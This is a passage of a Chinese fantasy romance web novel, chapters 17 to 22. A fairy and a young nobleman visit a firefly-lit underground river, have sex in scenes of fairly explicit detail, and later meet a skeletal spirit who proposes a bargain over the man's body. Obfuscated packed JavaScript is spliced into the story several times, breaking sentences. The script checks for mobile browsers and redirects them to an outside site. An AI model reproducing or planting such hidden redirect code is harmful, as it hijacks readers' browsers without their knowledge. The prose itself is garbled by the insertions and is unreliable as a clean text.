阿青想了又想,忍了又忍,还是没克制住,颇有点心虚地问他:“是那个‘日’吗?” 袁颂:“……” 以色侍人没什么不好。 像那个叫“阿越”的少年,想侍神都不一定有机会。 毕竟阿青眼光高,大不了他多使点手段,就也不怕这个笨神仙爬墙。 对上少女眼里明晃晃的试探,袁颂忽然扯唇笑了一下,弯起的眼里里也终于露出了那种久违的、明晃晃的、带着明显野心意味的、像狐狸一样的勾引。 他握着阿青贴在他胸口的手,慢慢地牵至小腹。 带着钩子的眼睛,就含着一丝若有似无的情愫平静地观察着她逐渐心猿意马,以及那一抹渐渐爬上裙摆的桃粉色。 隔着华服锦衣,阿青能清晰地感受到掌心下逐渐绷紧的肌肉—— 袁颂善骑射,腰腹的力量感让她这个神仙都印象深刻,将她往上颠的时候,像是能把他整个儿都挤进身体里。 就在阿青以为他要带着自己的手,做一些理论上不适合在白天做的事情的时候,袁颂忽然将她蠢蠢欲动的手按在了距离勃然大物两指宽的地方。 阿青:“……?” 再度对上阿青眼中的疑惑,袁颂笑着亲了一下她仰起来的额头,说:“小孩子才做选择。” 阿青讷讷地顺着他的话往下问:“那你呢?” 意气风发的少年郎笑着踩上马车的踏板,回身冲她伸出手,耀目的阳光照亮他眼底,摇曳出如春水碎冰一样的光芒。 “我自然全部都要。” 17. 017-暗河 017 离开了半道的农舍,马车不疾不徐地驰往山顶的方向。 直到夕阳西下,两人终于抵达一处山坳的浅滩。 橘黄色的晚霞余光落在浅滩附近浓密的茂林绿叶上,有种说不出的钟灵毓秀,空中有雀鸟低鸣而过,成群结队的“唧唧啾啾”,非常悦耳。 阿青静静感受了片刻,却丝毫察觉不到一丝福地该有的灵气,迟疑地环顾了一眼周围的物景标志,总觉得赶车的小厮大概是走错路了,一点也不像是那农妇描述的环境,但是要让她消耗灵力开天眼确认方位,她又抠抠索索舍不得那点家底,只能把目光投向身边的袁颂,但又不敢把意图表现得过于明显,拐弯抹角地叹了气:“晚上就要在这里落脚了么?好多石头啊,躺下来睡觉都嫌膈得慌,要不我们还是回车上吧?” 快点坐回马车里! 然后火速让她在狐仙洞那一站下车! 可袁颂却枉顾她的诉求,只吩咐赶车的小厮,也就是陪他一块儿长大的书童,让对方将马车驱远一些,明日一早再来此地接他们。 阿青:算盘落空了好难受。 袁颂回头捏了一下她因为闷闷不乐而微微鼓起来的脸,笑着牵起她的手,往浅滩对岸的石洞里走:“晚上都要来日方长了,还不满意?” 阿青:“……” 勉勉强强吧。 但小孩子才做选择,她都这把年纪了,肯定也是全都要的嘛。 漂亮的炉鼎她要。 得天独厚的福地她也要。 久违的自由身,更是要上加要。 她一个活了两千岁多的神仙,不过就是嘴馋了一点,贪心了一点,有什么问题吗? 袁颂似乎压根不在意她拉耸下脑袋的低落情绪,将她抱过两处可能会滑倒的滩涂石头。 阿青:“这是要去哪里?” 袁颂对周围路线的熟悉,显然是提前踩过点的。 男人握紧了她的手:“你跟着我就好了。” 越过清浅的溪流滩涂,来到一处长着青苔的石洞前。 洞窟差不多一人高,入口却窄得只容两人挤着肩膀进去。 一踏入洞内,就有潮湿的凉意扑面而来,厚重的青苔香里带着点泥土的气息,耳边“滴滴答答”,显然是钟乳石上的水滴落入水面的声音。 袁颂取出袖中的夜明珠照明,阿青这才发现,入洞两丈之外,是一条巨大的地下暗河。 一艘小巧却干净的木船被麻绳栓在就近的石柱上,船上有桌有酒,还有一些她平时喜欢吃的梅子蜜饯,船头一侧,甚至还布置好了可供人躺卧的软垫——的确很有游玩踏青的架势。 但袁颂明显不是蠢人,阿青自然也不认为他是真的告了假专程只为了带她出来散心。 毕竟,作为跟袁家一损俱损的守护灵,家脉不稳,显示出的动荡之兆她是完全能感觉到的。 但鉴于她现在身上的命契已经从偌大的袁家转到袁颂一个人身上,充其量管一管袁颂就行了,袁府上的这这那那,与她何干? 袁颂率先跳上船,将夜明珠嵌入船头的木格,然后转身示意她扶住自己的手:“上次来踩点的时候发现的一块宝地,就想着无论如何也要带你来看看。” 阿青将信将疑——毕竟,凡人总喜欢把好看的美景称为“仙境”,她既然已经看过真正的仙境,又怎么瞧得上地上的这些平替? 等她寻好了舒坦的位置坐稳,袁颂才解开了船绳,站到另一侧的船头,划开了长浆。 夜明珠的微光照亮暗河的前路,船舷破水的声音,在静谧的洞穴中被无限放大。 地下河的水引自雨水和山涧,又得堆叠的矿石过滤,澄澈水面,干净得即使在晦光中,也能看见船下的游鱼。 不知道袁颂这是要带她去哪儿。 阿青往嘴里塞了块蜜饯,觉得他心事重重的样子让蜜饯尝起来都不甜了,忍不住开口打破沉默:“你为何要去狐仙洞?” 袁颂斟酌片刻:“去救一位至交好友。” “……” “太子殿下与我相识十五载,我不可能明知他遇险而袖手旁观。” 阿青没见过这个倒霉的太子,但也知道,袁颂自四岁起就做了太子伴读。 只是她不太能理解这些凡人之间千丝万缕的感情,毕竟,两个人认识得再久有什么用?反正都是要死的。 人死了,就什么都没了。 “密报上说,太子被囚于东宫地下的某条暗道之内,却不知是哪条,宫内守卫森严,然而兵变的机会只有一次,若无十足把握,背水一战就是全军覆没。” 阿青翻了个身,半趴在船头用羽衣的丝带伪装成食物,一边逗水里的鱼,一边很随意地问:“你要怎么救?” 她说话的口吻太轻飘飘,好像即使有命契在身,他的生死也跟她毫无关系。 “张真人百年之前给我族中留书,说我与那狐狸洞有渊源,所以,我想去试试可否借力。” 袁颂口中的“张真人”不是别人,就是当日将她骗进袁府的小道士。 几百年没再听人提起这个令人头疼的名字,阿青差点把这路货色给忘了,等她养精蓄锐,回家前的第一件事,就是找到这个骗子的道场,放一把火给它烧了。 毕竟跟张陵有旧怨,她说话的语气都变得很不客气起来:“这些牛鼻子臭道士的话,你也信?” 袁颂也知道她这口恶气从何而来,对她好恶分明的孩子气莞尔:“起初我也不信这些的,直到我遇到了你。” 阿青无言半响:“你一个凡人要如何去借这些精怪的力?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305735|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“张真人说我只需抵达狐仙洞,就自有机缘上门,如我心愿,”袁颂沉吟半响,“只是过程凶险,望我三思后行、小心为上。” 世间的修仙之人总喜欢拿这些神神叨叨的东西去骗凡人,危言耸听。 据农妇所言,这狐狸精多半已经神魂俱灭,留于世间的机缘,也不过就是几个小小的华胥幻境,纯粹吓唬吓唬路人罢了。 袁颂大概是想借狐仙幻境之力,跃迁进入太子所在的东宫,找到那条暗道。 于她看来,也没什么难的。 黑暗中,两人沉默须臾。 袁颂:“对了,张真人说,神仙都是有自己的道号的,你好像从未跟我说过你的道号。” 阿青不知道袁颂为什么忽然要问这个,不明所以地看了他一眼,却觉得昏暗的地下河道里,男人望向她的目光灼灼如华,蕴着极小心翼翼的期待。 “张真人说你来头极大,要我族中人务必善待你,”他像是忽然想起了什么,停顿着笑了片刻,“若非如此,府上也不会在祭祀时弄那么隆重的全素斋了。” 道号在仙界是身份品级的象征。 但要是一个见过她真容的凡人知道了她的道号,那他随便画一副画像就能跟她祈福求灵。 万一袁颂是个贪心的,那等她回了九重天,还能有消停睡觉的日子? 道号她是决计不会跟他讲的! 毕竟一旦处理不好,可太容易被一个凡人给赖上了! 阿青心中警铃大作,但嘴上还是一副漫不经心的口吻跟袁颂打哈哈:“道号跟名字,不都是拿来叫人用的,你都知道我叫阿青了,还问那个文绉绉的道号做什么?” 袁颂缄口不再言。 两人一时无话,空气中只余船舷破水的“哗哗”声。 阿青趴在船头百无赖聊地逗水里的鱼,逗累了便开始打着哈欠犯困,正要问袁颂究竟什么时候到目的地,忽然之间船头在水面拐了个弯,顷刻间,无数的亮绿色星光突然出现,点亮了她的视野,如同整条银河里的漫天繁星被贪心地收入她一个人的洞府。 满船清梦压星河。 猝不及防的柳暗花明。 阿青怔怔地看着头顶一闪一闪伏在洞穴壁上的萤火,被惊艳得压根说不出话来。 她踏过山川河海,却从未见过这样独特的生灵之美—— 因为它们真的太小了,小到她压根也不会注意到它们。 可面对这种朝生暮死的蜉蝣,天界那种精雕细琢的仙境居然更像不值一提的鱼目死物。 袁颂不知道什么时候已经坐在她旁边,由后至前将她揽进怀里。 少年的下巴抵在她肩头,顺着她眨也不眨的视线,落在数以千计的野萤星火上,轻轻笑了声,问:“阿青,这里是否比天界的银河好看?” 18. 018-萤火 018 注意到怀中身体的僵硬,袁颂失笑,吻着她的耳朵很温柔地轻声说:“阿青,你的呼吸吹不散它们的。” 阿青闻言,重重呼出一口很长很长的气,却在发现石壁上漫天的萤火虫仍然一动不动后,欣喜地说:“是真的欸!” 袁颂忍俊不禁,笑着将她拥得更紧。 阿青没有回过头看他,只微偏过脸,小小声地问:“那我们这样说话,是不是也不会吵到它们?” 袁颂像是诚心逗她一样,也学她小小声的口气,煞有其事地猜测:“应当是的。” 温热的气息拂在她耳廓,有种说不出的痒,像是他又在她吻她耳朵一样。 袁颂问:“如何?” “好看!特别好看!” 阿青用力点头,一瞬不瞬的目光自始至终落在头顶的萤火上,舍不得挪开。 而袁颂却自始至终只看她一人。 木船顺水,于河道里摇摇晃晃,洞壁上,亮绿色的萤光此明彼灭,交替闪烁如幻梦仙境。 袁颂:“那与天上的银河相比呢?” 阿青由衷感慨:“有过之而无不及!” 良辰美景,赏心悦目,最重要的是,见所未见。 有萤火似乎不堪其扰,摇摇晃晃地朝两人飞来。 阿青迟疑一瞬,才犹豫地伸手去接,盯着停在手指上的那点绿光,惊异地回头跟袁颂分享自己的大发现:“居然是冰凉冰凉的欸!” 萤虫喜阴潮湿,自然跟洞壁的温度一致。 袁颂眼底的笑意深浓如夜色:“小时候我乳母带我去乡间抓萤火时,我也跟你一样,以为是烫的,不敢碰。” 阿青还没玩够,怕自投罗网的小虫子就这么飞走,干脆伸出另一只手,小心翼翼地将微弱的萤光拢在掌心里,然后松出一条指缝,捧着凑到眼睛底下看:“唔……就像抓了一颗星星,欸不对,星星抓到手里就成了黑漆漆的石头,它们只有在银河里才会发光。” 头顶漫天的萤火照亮袁颂澄澈的眼瞳,温柔地折出如流星一样的碎光:“那你是喜欢在天上看星星,还是喜欢跟我在凡间看萤火?” 阿青露出一副“你在说什么蠢话”的质疑表情:“这还用问吗?我当然更喜欢看这个啦!” 袁颂莞尔,引颈过来吻她唇瓣。 阿青胡乱给他亲了两下,把捧起的双手举到他面前,问:“你要看看吗?好亮好亮的一只。” 袁颂让她靠在自己胸口,双手捧住她的手,温热的暖意隔着掌背的皮肤传递过来。 阿青小心翼翼地呼吸着,微微松开掌心,却不知道为什么,本来这时候她应该是看手里的萤火,可还是下意识仰头去看了他的脸。 大概是袁颂生得太好看。 这世上所有漂亮的东西摆在一起,都比不上这样绝色的、令人移不开眼的皮囊。 袁颂的目光落在她掌心那点萤光上,垂落的眼睫即使在晦光中,都纤浓得分毫可见:“凡人的寿数在你们仙人看来,是不是就像我此刻看这只萤火一样?朝生暮死,韶华易逝,青丝转瞬成雪?” 阿青不明白他此刻眼里为何会有这种落寞,但料想他的忧虑于她而言,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305736|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是什么难事,就很认真的跟他说:“如果你喜欢这片萤火海,我可以让这片星海,与你寿数持平。” “这点仙力我还是拿得出来的。” 话音一落,她都没想到自己居然会这么大方—— 自打跟袁颂第一次在祠堂照面浪费的那次仙力外,接下来的所有日子,她都是紧着一口气,为了回家而扣扣索索地存仙力。 但神仙既然许诺了,就没有再收回去的道理。 “以后,你想什么时候来看,都可以,无论春夏秋冬,这些萤火将永远都会为你照亮。” 她在凡间多受制约,尤其是在袁府,禁制更重,连法身都结不出来。 但好在她的仙力与父君一脉相承,是春之力,可以让死物拥有源源不断的生命力,只是维持这些不起眼的萤虫的寿命,亦于天道无碍,也没什么大不了。 袁颂垂着眼帘,对她的提议未置可否,只是很轻很轻地笑了一声:“但曾得仙人眷顾,也不枉这点微光。” 也不知是她松开掌心的时间太久,还是两人说话的气息吵到了那只懒洋洋的萤虫。 亮绿色的小虫子振了振翅膀,轻飘飘地飞离了阿青的手掌。 “袁颂,你要吗?” 见袁颂怔怔地看着她不说话,阿青忍不住轻轻推了他一下以示催促。 萤火的弱光映入少女墨绿色的仙瞳里,袁颂望着她眸中自己怅然若失的面孔,忽然托起她的下巴,重重地吻了上去。 我要跟你一起看。 就算朝生暮死。 我也要明月奔我而来。 19. 019-男狐狸精 019 袁颂的亲吻来得猝不及防。 可唇齿间贴上来的热度又只是像蜻蜓点水一样,在她唇面像火燎了她一下,阿青还没来及攥住他胸前的衣服,忽然在黑暗中听见一声“噗通”,反应过来的时候,身侧已经空落落地没了人,显然是袁颂落进了水里。 她下意识去水里抓他,却只捞到一件湿漉漉的外袍。 萤火虫的洞穴里没有邪祟的气息,她倒不担心袁颂遇险,只是悄然之间没了声息,难免让人想不明白。 阿青用灵力掐了个照明的诀,便跟着跳进了水里想要找他。 避水的符咒还未来得及念,水下已有温热的唇贴着度来了气。 从唇边升腾的泡泡串咕噜噜地往上冒。 阿青在水中睁开眼,近在咫尺的,是袁颂的脸。 微弱的金光照亮澄澈的水面。 如云似雾般散开的乌发仿若墨色绸缎一样漂浮在水里。 袁颂吻她时的动作足够温柔,温柔到甚至让她觉得落水也是一件极让人心安、让人期待的事情。 他弯着眼睛在水下指了指头顶的洞穴,阿青会意抬头。 两人落水的动静惊扰了休憩的萤火。 隔着粼粼晃动的水面,成千上万的萤火像无数摇碎的月光,又仿若一条真正拥有生命的银河般荡漾舞动,翩然成群往有亮光的出口飞去。 阿青被惊艳得愣了片刻才想到要去追萤火,袁颂却先她一步游开。 她想让袁颂等等她,可伸手却只抓到他一件薄衫。 湿透了的锦竹暗纹青色薄衫,触手微凉,似蛇蜕,柔软袅然又似山水画里不可捉摸的意境远山。 顺水逐流,暗河追月。 不远处是洞穴漏顶的夜光。 感受着逐渐变暖的水温,阿青喘息着浮出水面,袁颂已经半踏着岸边的石梯,背对着她,懒惫地靠着墙整理湿发。 单薄的一件白色里衣湿漉漉地贴在他身上。 沿着蜿蜒脊柱滑下的一滴水,伏过劲瘦有力的腰下,无声无息地彻底没入水下。 在莹莹暖泉的反射里,即使是隔着薄透的衣衫,也能看清他的皮肤——肌理分明的身体,泛着很好看的光泽,像泡在水里的温玉。 其实,这样半遮半掩的展示,对比一览无遗的白给,更有雾里看花一般的诱人意趣。 然而阿青还是想说—— 这个凡间她是真的不该来。 要是以后玄女问起她这趟下凡的感受,她真的要忍不住痛骂一顿这些凡人防不胜防的花样。 凡间的世界迷人眼,真的太喜欢用这种白花花的□□来考验她这样一个没见过世面的神仙了! 她要是回了天上,有机会一定得下一趟地府,好好确认一下,袁颂某一世的轮回里,是不是跟狐狸精换了魂—— 不然他也太晓得怎么拿捏她一个神仙了! 袁颂先前在水里脱下的衣袍于水流里起起伏伏,轻飘飘地流过她身侧,又不疾不徐地搁浅到了岸边。 感受到她一瞬不瞬的目光,袁颂先是眯着眼睛打量了眼头顶洞穴外的时辰,然后慢悠悠地半侧过身来跟她对视。 他侧身的角度,也选得极好。 皎白的月光落在他块垒分明的薄肌上,从原本就如玉般的肤质里透出一点诱人的淡粉。 阿青的视线从他绷紧的腹肌往下—— 偏偏看不到他狰狞的谷欠态。 袁颂假装没有看到她遗憾的目光,只是似笑非笑地抱着臂,轻飘飘地感慨说什么时候天黑了都不知道。 所以呢? 天黑了该干嘛不用她一个神仙来提醒他吧? 不是说好了! 天黑了就要酱酱酿酿的嘛!! 阿青一颗想要双修的心早被他欲擒故纵的姿态揉圆捏扁。 她想,她能从袁颂身上挑出什么毛病吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305737|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 身段模样谈吐性格,每一样她好像都不讨厌。 如果硬要鸡蛋里挑骨头,那就是这人不喜欢开门见山,不晓得单刀直入,总是引得她花力气猜测,她又不晓得这些凡人的脑袋里想的什么,回回都是丈二和尚摸不着头脑,生怕露馅了就被他埋汰成“笨蛋”。 所以今晚,他到底打不打算说话算话呀? 不喜欢他这样钓得她不上不下。 阿青正要发脾气,忽然看见袁颂冲她笑了一下:“不是要跟我来日方长么?怎么一直站着一动不动?” 他笑着涉水而来,水位没过他脐眼,摇晃的水波起伏不定,阿青也不知道自己有没有看清,只觉得萤虫飞走之后,洞内光线昏暗,朦朦胧胧地给人很不真切的错觉。 少了衣物束缚,水下的袁颂好像又比白日里要更壮观一些。 失神思索的间隙,袁颂已经来到她身前。 修长的手指漫不经心地挑在她羽衣的结扣上,抽开她衣带的姿态也十足的不骄不躁,像逗笼中的雀鸟。 袁颂微微弯起眼睛,笑着问她:“若我这时候偷走你的羽衣,你是不是也要杀了我?” 阿青嫌他动作磨叽,沉默片刻:“当然不会。” 袁颂意外地眼睛一亮,难得收起脸上的揶揄,有些认真地、小心翼翼地问:“真的?” “你怎么能在我眼皮子底下偷呢?”阿青无语地在心里埋怨他长这么机敏的脑袋却爱说蠢话,“我又不瞎,你根本偷不走好吧。” 袁颂:“……” 阿青很认真地看着他,像是真的想要教他该如何盗走自己的羽衣,语重心长道:“你就算要偷,也得等我睡着了再说啊!” 死寂的沉默蔓延于暗河。 片刻之后。 袁颂无力叹了口气,由衷钦佩道:“你真的好聪明哦。” 天上的神仙要是各个都长她这样的脑子,那这个世道算是彻底完了。 20. 020-妄念 020 只是想着来日方长,他也懒得跟这样冥顽不灵的阿青生气。 “这种时候怎么能说这样扫兴的话?” 淡青色的羽衣被脱下,顺着水势,摇摇晃晃,随波逐流,不一会儿,就跟他的衣裳一起,搁浅在了石岸边。 阿青茫然眨眼:“那要说什么?” 袁颂又好气又好笑,从未想到有一日自己竟要这样坑蒙拐骗地从意中人口中套出自己想听的话。 然而他同她说话的语气却仍是循循善诱的温柔,像教稚童:“哄人的话不会讲?” 袁颂的手指灵活而修长。 因着左手多年学习搭箭拉弓弦,食指和无名指指腹的薄茧也更为明显,挤开她身体时,粗糙地刮过蚌肉一样的皮肤,差点让她站不稳。 阿青将脑袋靠在他胸口,一边抽抽地换气,一边不耻下问:“要怎么哄人?” “你好歹要说,你这里有我……”袁颂眼睫轻颤,漫不经心地将右手温热的掌心隔着她湿透的里衣贴在她胸口,感受着掌中拱起的弧度,低喃语声,“你舍不得杀我,更舍不得我死。” “……” 袁颂似乎并不指望从她口中听到自己想听的话,以至于阿青还没来得及想不明白倘若他不顾她的意愿偷走她的羽衣,自己是否真的会对他痛下杀手,她的三魂六魄已经被他的手指搅得晕头转向。 天顶的月光稀薄,山外有干净的虫鸣鸟叫。 洞窟顶部有泉水渗下来,沿着石壁滑落,悬在钟乳石上的末端,水滴将坠未坠,直到很轻很轻的一声,就像小猫被人逗弄似地踩住尾巴发出叫声一样,水珠像被声音惊扰,“啪嗒”一声就融进了暗河里。 阿青太久没开荤,光是一碟小菜已经吃得她眼冒金星、气喘吁吁—— 感觉双修了,但实际上,压根还没到双修那一环。 毕竟袁颂手上的技巧很足,足到她甚至怀疑,自己现在这样到底还有没有力气能囫囵吞下袁颂的主菜。 “阿青,你的羽衣呢?” 袁颂笑着将指尖的污渍擦到她的羽衣上,手落到她胸口,又低下头吻她。 阿青顺着烙印在皮肤上的麻痒,掀起眼皮去找他留下的痕迹。 氤氤氲氲的视线落在自己胸口,除了绕在袁颂右手腕上的那一节淡粉色的软纱带以外,她都不知自己是什么时候不着寸缕的。 她也不晓得自己是信任袁颂不会乱来,还是纯粹被他弄得丢盔卸甲、找不着北,以至于对羽衣的去向也这样不设防。 袁颂托起她的腰,将她放在近岸一块浮出水面的礁石上,而后拂开黏在她脸上的湿发,他眼中目光灼人,微凉的月色落进他眼底也能烧出火星:“怎么一直看着我不说话?” “为什么不能看?” 阿青下意识勾了一下缠在他腕上的羽衣纱带,在到底是先拿回衣裳还是先办正事两个选项之间来回横跳。 然而余光不经意间落在他腰下。 近岸的水位偏浅,又有月光,她当然看得再清楚不过。 阿青在心里默默地发出了一声没见过世面的感慨,然后当即决定—— 今晚就算丢了衣裳,她也绝不浪费一口粮食! 袁颂假装没有看懂她目光里直白的邀请,只是慢悠悠地一边亲她,一边在她身上逗她:“毕竟,你看久了,保不齐就会让我生出一些不该有的妄念。” 凡人的妄念左不过七情六欲、功名利禄,法力通天的神仙也的确可以替凡人达成心愿。 然而天道恒常,为了维护人间秩序,同样会限制神仙为所欲为——天道会根据被篡改的凡人命格对世间规律带来的影响,对妄为的神仙释放出相应的惩罚。 虽说不至于灰飞烟灭,但叫神仙被天雷打得皮开肉绽、奄奄一息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305738|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是极有可能的。 所以,如果袁颂真有什么想要却得不到的东西—— 阿青露出一点点难办的表情:“什么妄念?” “让我既想藏起你的羽衣,又不想你杀我。” 阿青惊呼:“这怎么可能!” 暗河的洞穴里无光,仅有天顶漏下来的一缕月光,落在袁颂眼睛里。 男人的眼睛一下子变得很暗,漆黑的瞳孔像是盛了千言万语,但偏偏又一个字不说,半响,他才垂下眼帘,释然地哼笑了声,说:“我当然知道,还用你说?” 阿青松了口气,正要夸他聪明,却忽然被他一声“所以——”又给钓得云里雾里。 他笑着解开了腕上的丝带,覆在她的眼睛上,吻着她的耳朵,轻轻叹道:“所以,在你答应之前,不准随便乱看。” 突如其来的黑暗让阿青没来由的心慌不安,伸手想扯开眼睛上的丝带时,却被他扣紧了双手,按在了石壁上。 目不能视物里,挣扎也是一种本能。 然而水下的足踝不经意擦到他身体,她又一下子安静下来。 后腰被一寸暖炽到发烫的掌心托起来的时候,浮上阿青脑海的,却是袁颂刚才抿唇微笑时,那一粒落在他唇角的、颜色浅得几乎看不见的痣。 暗河的月色浸润凉意。 但填在身体里的热度却愈演愈烈,难以消弭。 她在黑暗中去追逐袁颂的呼吸,去寻找他嘴唇的位置,去靠近他炙热的体温,去迎合他每一次深入。 她在他的后背留下挣扎欢愉的痕迹。 将“亲密无间”这四个字掰开揉碎了,一笔一划里,都是沸腾的浓稠。 阿青差点要被烫到发抖。 忽然就想。 如果袁颂真有什么妄念,她其实也是愿意替他实现的。 只要别打她羽衣的主意就好。 21. 021-骨女 021 阿青醒来的时候,发现自己仍在洞穴里。 月光落在空无一人的身侧,她浑浑噩噩地坐起来,脑袋还没转过弯,注意力已经被放在水岸边的一盏萤火虫灯所吸引。 巴掌大小的一盏萤灯,用细芦苇梗编了灯架,裁了一块薄纱做网罩,拢着七、八只萤火散出淡淡的、灵动的幽光。 四更天,明月被稀薄的乌云遮蔽,让从石壁天顶透下来的暗光都昏茫冰冷,反而更衬得眼前这盏萤灯温暖如烛。 阿青将萤火虫灯提在手里晃了晃,里头的几只萤虫也不知是不是袁颂特地给她挑的,竟然比她还懒,趴在灯壁上,面对这样大的动静,却连动也不动。 她打了哈欠,目光很随意地在左手腕上那根若隐若现的命契线上扫了眼,就提着这盏小灯,沿着旁侧幽暗的甬道去找袁颂。 用灵力开天眼固然可以很快确定对方的所在,但她努力双修了一个晚上,杯水车薪攒修为,目的是为了回家,而非浪费灵气找人。 起身时,腿有点软。 她一个趔趄,差点摔倒,下意识扶住洞壁,终于注意到右手腕上被丝带绑缚之后残留的红痕。 某些凌乱的片段闪过脑海。 阿青抚额:“……” 凡人的花样可真的太多了! 没有《水经注》的指导,袁颂在这些事情无师自通的程度,让她这个神仙每每回想起来,都会发出没见过世面的感慨。 找到袁颂的时候,他坐在那个几乎完全破败的狐仙洞洞口的一张石桌旁边,已经阖着眼进了幻境。 阿青感受着双修过后体内前所未有的丰沛灵气,心情很好地半弯着腰数了好一会儿袁颂的眼睫毛,知道他一时半会儿醒不来,就干脆坐到石桌另一侧的石凳上。 夜色静好。 狐仙洞里灵气稀薄到可有可无,但残留的一缕气息仍然让她感受到一种久违的熟悉,令她觉得很温暖,如同闻到了毛茸茸的生灵被阳光烘烤皮毛的那股蓬松顺滑的香气。 阿青低下头安安静静地玩了一会儿那盏萤火虫灯笼,听着耳边窸窸窣窣的风声:“我今晚不想杀生,识相的就滚远一些。” 漏夜的冷风刮过茂密的山林,摇得不远处的荆棘矮灌沙沙作响,掩住好几道彼伏的轻笑声。 “仙子好大的口气,奴家听得心里好怕哩。” 顺着声音的方向,阿青掀起眼皮,望向狐仙洞另一侧的木荆棘花—— 只是不同于寻常花束,鬼哭草开的花,并非是花朵,而是一张一张的粉面骷髅头。 为首的一株粉面骷髅摇了摇身上干巴巴的荆棘刺,转眼就幻化出一副惨白的骷髅架子来——能化形的鬼哭草往往又被叫做“骨女”。 白天农妇在村舍里说过,狐仙洞口有烧不尽的野荆棘,她就猜是否会盘踞精怪。 然而这种程度的小妖怪,她平时连看都不屑看一眼,更不谈放在心上。 阿青:“既然知道我的身份,就不该打他的主意。” 她跟袁颂之间的命契,但凡有点修为的人都看得出来——这么粗的红线,除非对方是个瞎子。 骨女按兵不动忍耐这么久,无非就是想看她对袁颂到底是个什么态度。 对方似乎觉得委屈,矫揉造作地吸了吸鼻子—— 如果一副骷髅架子也有鼻子这个器官的话。 “仙子冤枉奴家哩,奴倒觉得,是奴在想办法替仙子解围了哩。” 精怪也不是生来就能言善道,心智开得低些的,言谈举止往往都是跟过路人学的,看骨女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305739|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶着这样一副骷髅架子鹦鹉学舌,怎么看都有种画虎不成反类犬的可笑。 所以她当初听袁颂讲那个睡前,实在佩服这天底下居然能有一只狐狸能开出近神的高智。 只是可惜,竟为了区区凡人葬送大好前途。 由此可见,任何修道之人,沾了“情”这玩儿意,天赋再高,也总归是要倒霉的。 阿青不开口,骨女也只当是自己说中了她心事,嘻嘻嘻地笑得更欢畅。 “不用奴说,仙子大概也是早就看出这位公子命格的奇怪之处了,轮回百世,除非出家修道清心寡欲不问尘事,否则他每一世未成家立业便英年早逝,这一世就更惨了,再过三个月,便是死期了哩。” “既然这位公子生来就是个早夭的命格,那今夜死同三个月之后死,也没什么分别,横竖阎王爷的生死簿上他寿数将尽,奴不过就是提早物尽其用,天道规则都怪不了我的哩。” 骨女之所以叫骨女,是因为这一族的精怪只有骷髅骨架而没有外皮,就连每日的性别都潦草随意看心情来选——这种低等妖物,要么靠坚毅的心智修炼出人形,要么捡漏一个将死之人的皮囊,鸠占鹊巢、瞒天过海。 然而很可惜,古往今外,这一族里就没一个能打的,全靠偷鸡摸狗占人壳子,苟活于天地,至于得道成仙,更是连想都不敢想。 说到这里,骨女的眼睛都亮晶晶的—— 如果她有眼睛的话。 “更何况,奴主要也是替仙子着想,为仙子解忧哩,”骨女顿了顿,还是存了心想要讨好,矫揉造作地扭了一下腰,骨头跟骨头摩擦,发出很生硬的“咔咔”声,她笑得更加谄媚:“不如仙子与奴做笔交易,把这具壳子让给奴,逃过天道耳目,待奴为仙子解开命契,岂不费吹灰之力?” 22. 022-羽化 022 一直旁若无人低着头玩萤火虫的阿青终于给了骨女一个正眼。 